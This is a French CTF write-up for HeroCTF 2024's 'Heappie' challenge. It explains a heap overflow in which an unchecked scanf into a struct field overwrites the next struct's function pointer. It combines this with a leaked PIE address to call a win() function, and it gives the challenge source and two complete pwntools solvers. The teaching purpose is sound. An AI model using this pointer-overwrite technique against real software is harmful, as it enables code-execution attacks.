Cet article se veut davantage “tutoriel” : il contiendra donc beaucoup plus de détails que les writeups “classiques”. C’était aussi ma toute première exploitation de tas, et en 64 bits ! J’ai trouvé que ce challenge était une excellente introduction à l’exploitation de tas, donc merci à xanhacks pour ça !
Description
Write Up: 0eufc0smique
Créateur: xanhacks
Difficulté: very-easy
Points: 50
Format du flag: Hero{..........}
Enoncé
Heappie is a simple application that allows you to save and play your favorite songs. Find a way to exploit it and read the flag.
Pièce jointe: heappie.zip
Premiere étape: vérification du type de binaire et des protections
- Je préfère commencer par vérifier les protections en place et le type de binaire auquel on a affaire, avant de plonger dans le code source : ça m’aide à visualiser quelles possibilités s’offriront à moi quand j’analyserai le code.*
➜ checksec heappie
[*] '/home/kali/secu_classes_ctf/ctf_events/hero_ctf_2024/pwn/Heappie/heappie'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Debuginfo: Yes
➜ file heappie
heappie: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d8609e05595130735a889757138dd5768389f6b1, for GNU/Linux 3.2.0, with debug_info, not stripped
On en déduit : NX ⇒ on ne peut pas exécuter directement sur la pile. PIE ⇒ l’adresse de base du programme (l’endroit où il est chargé en mémoire) est randomisée à chaque exécution. Le binaire est 64 bits, et n’est pas “stripped”, ce qui veut dire que les noms de symboles ne sont pas supprimés.
Analyse du code source
-
On repère une fonction
win, qui est généralement le nom de la fonction à appeler pour obtenir le flag dans les challenges CTF :
-
La ligne
scanf("%s", music->description);montre quescanfest utilisé pour écrire l’entrée utilisateur dans l’élémentdescriptiond’une structuremusic(music->description), sans aucune vérification de taille. On peut donc y mettre un texte aussi long qu’on le souhaite… et potentiellement déborder de la mémoire qu’on pourra exploiter.
void add_music() {
if (playlist_size == playlist_capacity) {
playlist_capacity += 10;
playlist = realloc(playlist, playlist_capacity * sizeof(Music));
}
Music* music = &playlist[playlist_size];
char add_music = 'n';
printf("Do you want to add a sound to the music? (y/n): ");
scanf(" %c", &add_music);
if (add_music == 'y') {
music->play = choose_random_play();
puts("Sound added to the music!");
} else {
puts("No sound added to the music!");
}
printf("Enter music title: ");
scanf("%31s", music->title);
printf("Enter music artist: ");
scanf("%31s", music->artist);
**printf("Enter music description: ");
scanf("%s", music->description);**
puts("Music added to your playlist!\n");
playlist_size++;
}
```
- Regardons la composition de la structure `Music` :
```c
typedef struct Music {
void (*play)(struct Music*);
char title[32];
char artist[32];
char description[128]; // c'est ce qu'on va remplir
} Music;
- Imaginons qu’on crée une première structure appelée
music_1. En voyant la disposition ci-dessus, on comprend que si on remplit le champdescriptionau-delà de 128 caractères, on sort de l’espace alloué à cette structure. Désormais, créons une seconde structure appeléemusic_2... - Question : où atterrit la partie débordée de
music_1? Directement dans le premier élément demusic_2: le pointeurplay. - Ainsi, ce qui sera écrit à l’emplacement de
playsera interprété comme une adresse mémoire qui, à un moment donné, sera exécutée. - Je songe donc à y écrire l’adresse de la fonction
win. Voyons comment la déclencher.
Lorsque nous créons une deuxième structure, elle se place en mémoire (sur le tas, via les appels à malloc et realloc) juste après la première. Donc, déborder la première nous amène directement dans la seconde.
- Par curiosité ⇒
playest utilisé dans la fonctionplay_music:
void play_music() {
int index;
printf("Enter music index: ");
scanf("%d", &index);
if (index < 0 || index >= playlist_size) {
puts("Invalid index!\n");
return;
}
Music* music = &playlist[index];
if (music->play == NULL) {
puts("No sound for this music!\n");
return;
}
music->play(music);
}
Idée de plan
- On veut :
- remplir la première structure
Music(champdescription) avec 128 caractères, histoire de couvrir l’intégralité de l’espace dévolu. - rajouter 8 octets pour aller écrire dans le premier champ de la structure suivante (
play). Ces 8 octets contiendront l’adresse de la fonctionwin. -
ensuite on lance la lecture (option
play_music) du bon index, et on devrait avoir le flag. -
Tout cela parce que :
- on sait que la deuxième structure sera placée tout de suite après la première dans le tas ;
- le champ
playdu deuxième élément sera exécuté si on joue la musique associée.
Interaction avec le programme
heappienous affiche un menu :
- Quand on ajoute une musique, on nous propose :
Do you want to add a sound to the music? (y/n):; choisissonsnpour voir :
- Puis on nous demande un titre, un artiste et une description :
(une fois fini, on revient au menu)
- Regardons l’option
4. Show playlist:
(nil) signifie qu’à un moment, NULL a été renvoyé.
- Regardons le code qui effectue cet affichage :
void show_playlist() {
if (playlist_size == 0) {
puts("Your playlist is empty!\n");
return;
}
puts("Your playlist:");
for (int i = 0; i < playlist_size; i++) {
Music* music = &playlist[i];
printf("\t%d. %s by %s (song: %p)\n", i + 1, music->title, music->artist, music->play);
}
}
- OK, refaisons la manip en ajoutant une autre musique, mais cette fois en choisissant d’ajouter un son (
y) pour voir ce qui se passe :
0x556949c7d2e9 est l’adresse de music->play (souvenez-vous du printf dans show_playlist()).
- Parfait, jouons maintenant la première musique :
pas de son pour cette musique…
- Jouons la seconde musique ajoutée :
- Testons l’idée d’injecter 128 caractères
A+ 4 caractèresBdans la première structure, puis créons la seconde structure pour voir si l’adresse affichée contient nosB. Faisons-le directement sans script :
Super ! Les B se retrouvent dans le champ play de la seconde structure. Le segfault lors de l’exécution de 0x42424242 confirme que ce qui a débordé dans play est bien exécuté. Donc si on récupère l’adresse de win et qu’on la met à la place, on devrait pouvoir déclencher la fonction et récupérer le flag !
Conclusion :
Nous pouvons écraser le contenu de la seconde structure (ou de la suivante) depuis la première.
L’objectif est d’inscrire l’adresse dewindansplayet de l’exécuter pour avoir le flag.
Quand on ajoute un son, l’adresse deplayest affichée, et c’est aussi celle qui est exécutée.
OK, il nous reste à trouver comment obtenir l’adresse dewinen pratique.
Fuite d’adresses
- On sait que le binaire n’est pas “stripped”, donc on peut facilement récupérer la fonction
win:
➜ objdump -D -M intel ./heappie | grep win
00000000000011f9 <win>:
1223: 75 19 jne 123e <win+0x45>
➜ readelf -s ./heappie | grep win
41: 00000000000011f9 132 FUNC GLOBAL DEFAULT 15 win
- On a donc l’offset de
win, mais cette adresse est partielle, car on sait que l’adresse de base du programme est randomisée à chaque exécution (PIE)...
On doit récupérer l’adresse de
winau moment de l’exécution. Autrement dit, il nous faut un script qui lanceheappieet, pendant qu’il tourne, obtient l’adresse dewin, sélectionne l’option2. Play music, puis exécutewinpour afficher le flag.
Plan final :
- Nous avons besoin d’un script qui :
- crée une première structure
Musicdont on pourra récupérer l’adresseplaypour faire une fuite d’adresse (en choisissanty) ; - crée une deuxième structure afin de déborder en écrasant la zone mémoire voulue ;
- crée une troisième structure qui utilisera l’adresse de
wincalculée à l’exécution ; - déclenche la lecture de cette troisième musique (
Play music) pour lancerwinet obtenir le flag ; - tout cela doit s’opérer pendant que le programme tourne.
Comment récupérer l’adresse de base du programme pour localiser win() :
- On sait déjà :
- l’offset de
win(appelons-lewin_offset) ; - l’adresse de
play_1. - Mais on veut l’adresse finale de
win. L’idée : - pour avoir l’adresse complète de
win, il nous faut d’abord l’adresse de base du programme… - une fois cette adresse obtenue, on y ajoute l’offset de
win, et on a l’adresse dewin. - Comment l’avoir ?
- récupérer l’offset de
play_1via Pwntools ; - soustraire à l’adresse de
play_1l’offset deplay_1pour obtenir l’adresse de base :program_base_address = play_1_address - play_1_offset
- calculer l’adresse de
win:win_address = program_base_address + win_offset
Tests en local avant d’aller sur la cible distante :
- J’envoyais d’abord les commandes à la main pour observer le comportement du programme. Mon but : m’assurer que ça fonctionne et obtenir le flag, puis ensuite nettoyer le script.
- Une fois la première structure créée et l’adresse fuite affichée, je récupérais la sortie pour y chercher l’adresse à l’aide d’une RegEx :
- D’autres captures de mes essais :
Après avoir obtenu le flag en local, on tente en remote.
Test en remote et récupération du flag !
- J’ai dû modifier la ligne 8 et rajouter les lignes 24 et 25 pour recevoir plus de données, sinon le programme plantait (pour des raisons qui m’échappent un peu, j’aimerais bien des explications si quelqu’un en a ^^)
- J’étais ravi de voir apparaître le flag :
Et voilà, flag obtenu ! :)
Récapitulatif
Heappie nous permet de créer des playlists, stockées sur le tas via malloc() et realloc(). Ces playlists sont des structures music, alignées les unes à la suite des autres. Le dernier champ de la structure, description, n’est soumis à aucun contrôle de taille, ce qui nous permet de déborder sur la structure suivante, plus précisément sur son champ *play, qui sera exécuté en choisissant l’option Play music. En y inscrivant l’adresse de win(), on lance la fonction et on obtient le flag.
Réflexions complémentaires
- Pourquoi
[*] Switching to interactive modeapparaît après l’affichage des adresses et AVANT la sortie des commandes qu’on envoie ? - Parce que lorsque le payload bascule en mode interactif, les commandes ont déjà été transmises (la fonction
p.interactive()arrive à la fin du script, donc le script envoie tout, puis on passe en mode interactif qui nous affiche la sortie). Rien de sorcier ^^ - Parfois, le programme crashait, parfois non ⇒ en raison d’
ASLRactivé sur la machine distante. L’ASLRest lui-même aléatoire : parfois l’adresse chargée est invalide ou déjà occupée, et le programme se crashe quand on tente de l’exécuter.
quelques crashs visibles
Retour d’expérience
J’avais un peu d’expérience en exploitation binaire (uniquement sur la pile et du 32 bits) : c’était donc ma première exploitation de tas. J’ai vraiment trouvé ce challenge très formateur pour comprendre les bases.
J’y ai passé environ 6-8 heures, avec un énorme cri de joie quand le flag est finalement tombé ^^
Code source et solveur
Code source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
typedef struct Music {
void (*play)(struct Music*);
char title[32];
char artist[32];
char description[128];
} Music;
Music* playlist = NULL;
int playlist_size = 0;
int playlist_capacity = 0;
void win() {
char flag[64];
FILE* f = fopen("flag.txt", "r");
if (f == NULL) {
puts("Flag file is missing!");
exit(1);
}
fgets(flag, sizeof(flag), f);
printf("Flag: %s", flag);
fclose(f);
}
void play_1(Music* music) {
printf("Playing music 1: %s by %s\n", music->title, music->artist);
}
void play_2(Music* music) {
printf("Playing music 2: %s by %s\n", music->title, music->artist);
}
void play_3(Music* music) {
printf("Playing music 3: %s by %s\n", music->title, music->artist);
}
void* choose_random_play() {
int choice = rand() % 3;
switch(choice) {
case 0:
return (void*)play_1;
case 1:
return (void*)play_2;
case 2:
return (void*)play_3;
}
return NULL;
}
void show_playlist() {
if (playlist_size == 0) {
puts("Your playlist is empty!\n");
return;
}
puts("Your playlist:");
for (int i = 0; i < playlist_size; i++) {
Music* music = &playlist[i];
printf("\t%d. %s by %s (song: %p)\n", i + 1, music->title, music->artist, music->play);
}
}
void add_music() {
if (playlist_size == playlist_capacity) {
playlist_capacity += 10;
playlist = realloc(playlist, playlist_capacity * sizeof(Music));
}
Music* music = &playlist[playlist_size];
char add_music = 'n';
printf("Do you want to add a sound to the music? (y/n): ");
scanf(" %c", &add_music);
if (add_music == 'y') {
music->play = choose_random_play();
puts("Sound added to the music!");
} else {
puts("No sound added to the music!");
}
printf("Enter music title: ");
scanf("%31s", music->title);
printf("Enter music artist: ");
scanf("%31s", music->artist);
printf("Enter music description: ");
scanf("%s", music->description);
puts("Music added to your playlist!\n");
playlist_size++;
}
void play_music() {
int index;
printf("Enter music index: ");
scanf("%d", &index);
if (index < 0 || index >= playlist_size) {
puts("Invalid index!\n");
return;
}
Music* music = &playlist[index];
if (music->play == NULL) {
puts("No sound for this music!\n");
return;
}
music->play(music);
}
void delete_music() {
int index;
printf("Enter music index: ");
scanf("%d", &index);
if (index < 0 || index >= playlist_size) {
puts("Invalid index!\n");
return;
}
Music* music = &playlist[index];
memset(music, 0, sizeof(Music));
for (int i = index; i < playlist_size - 1; i++) {
playlist[i] = playlist[i + 1];
}
puts("Music deleted from your playlist!\n");
playlist_size--;
}
void setup() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("============================================");
puts("=> Welcome to Heappie <=");
puts("============================================");
puts("Fill your playlist with your favorite music!");
puts("");
puts("Examples:");
puts("\t1. Imagine by John Lennon");
puts("\t2. Blowin' in the Wind by Bob Dylan");
puts("\t3. Aquarius/Let the Sunshine In by The 5th Dimension");
puts("");
}
int main() {
srand(time(NULL));
setup();
while(1) {
puts("1. Add music");
puts("2. Play music");
puts("3. Delete music");
puts("4. Show playlist");
printf(">> ");
int choice;
scanf("%d", &choice);
switch(choice) {
case 1:
add_music();
break;
case 2:
play_music();
break;
case 3:
delete_music();
break;
case 4:
show_playlist();
break;
default:
puts("Invalid choice!\n");
break;
}
}
free(playlist);
return 0;
}
Solveur un peu sale que j’ai utilisé pour récupérer le flag
#!/home/kali/.venv/bin/python3
from pwn import *
import re
exe = './heappie'
elf = ELF(exe, checksec=False)
p = remote('pwn.heroctf.fr', 6000)
win_offset = elf.symbols['win']
# filling a first struct to leak an address:
p.sendline(b'1')
p.sendline(b'y')
p.sendline(b'play_1')
p.sendline(b'0')
p.sendline(b'biboup')
# leak address
p.sendline(b'4')
# collect data to parse it (numbers are random, i kept increasing the received data until i had an output i could parse)
data = p.recv(8192).decode()
data += p.recv(8192*10).decode()
data += p.recv(8192*10).decode()
print(f"###\ndata received: {data}\n###")
# look for pattern using re.search(pattern, string, flags=0)
matches = re.search('song: (0x[0-9A-Fa-f]+)', data)
print(f"matches: type: {type(matches)}, value: {matches}")
matches = str(matches.group(0))[6:]
if matches:
play_1_addr = int(matches, 16)
print(f"leaked play_1_addr: {hex(play_1_addr)}")
else:
print("found nothing")
# getting win_runtime_addr:
play_1_offset = elf.symbols['play_1']
print(f"play_1_offset: {hex(play_1_offset)}")
base_addr = play_1_addr - play_1_offset
print(f"base_addr: {hex(base_addr)}")
win_runtime_addr = base_addr + win_offset
print(f"win_runtime_addr: {hex(win_runtime_addr)}")
# overflowing struct:
p.sendline(b'1')
p.sendline(b'n')
p.sendline(b'play_2')
p.sendline(b'1')
p.sendline(b'A' * 128 + p64(win_runtime_addr))
# struct containing p64(win_runtime_addr)
p.sendline(b'1')
p.sendline(b'n')
p.sendline(b'play_3')
p.sendline(b'2')
p.sendline(b'eeee')
# now play_3 contains the win runtime address
p.sendline(b'2')
p.sendline(b'2')
p.interactive()
Un solveur un peu moins sale
#!/home/kali/.venv/bin/python3
from pwn import ELF, remote, context, p64
import re
exe = './heappie'
elf = context.binary = ELF(exe, checksec=False)
p = remote('pwn.heroctf.fr', 6000)
# filling a first struct to leak an address:
p.sendline(b'1')
p.sendline(b'y')
p.sendline(b'play_1')
p.sendline(b'0')
p.sendline(b'biboup')
# leak address
p.sendline(b'4')
# collect data to parse it
data = p.recv(8192*10).decode()
data += p.recv(8192*10).decode()
data += p.recv(8192*10).decode()
# find the leaked address
matches = re.search('song: (0x[0-9A-Fa-f]+)', data)
matches = str(matches.group(0))[6:]
if matches:
play_1_addr = int(matches, 16)
print(f"play_1_addr: {hex(play_1_addr)}")
else:
print("found nothing")
# compute runtime address of 'win'
play_1_offset = elf.symbols['play_1']
print(f"play_1_offset: {hex(play_1_offset)}")
elf_base_addr = play_1_addr - play_1_offset
print(f"elf_base_addr: {hex(elf_base_addr)}")
win_offset = elf.symbols['win']
win_runtime_addr = elf_base_addr + win_offset
print(f"win_runtime_addr: {hex(win_runtime_addr)}")
# overflow the second struct:
p.sendline(b'1')
p.sendline(b'n')
p.sendline(b'play_2')
p.sendline(b'1')
p.sendline(b'A' * 128 + p64(win_runtime_addr))
# third struct that will contain win_runtime_addr
p.sendline(b'1')
p.sendline(b'n')
p.sendline(b'play_3')
p.sendline(b'2')
p.sendline(b'eeee')
# trigger play_3 => call win()
p.sendline(b'2')
p.sendline(b'2')
# capture output
data = p.recv(8192).decode()
# parse out the flag
matches = re.search(r'Hero\{[^}]+\}', data)
matches = str(matches.group(0))
if matches:
flag = matches
print(f'flag found: {flag}')
else:
print('flag not found')
# close the connection
p.close()
Remerciements
Plusieurs personnes ont relu ce brouillon mais ne souhaitaient pas être citées, donc il n’y a rien à afficher ici.
Lien(s) utile(s)
Le write-up, en anglais, sur mon blog: https://0eufc0smique.github.io/pwn/Heappie/















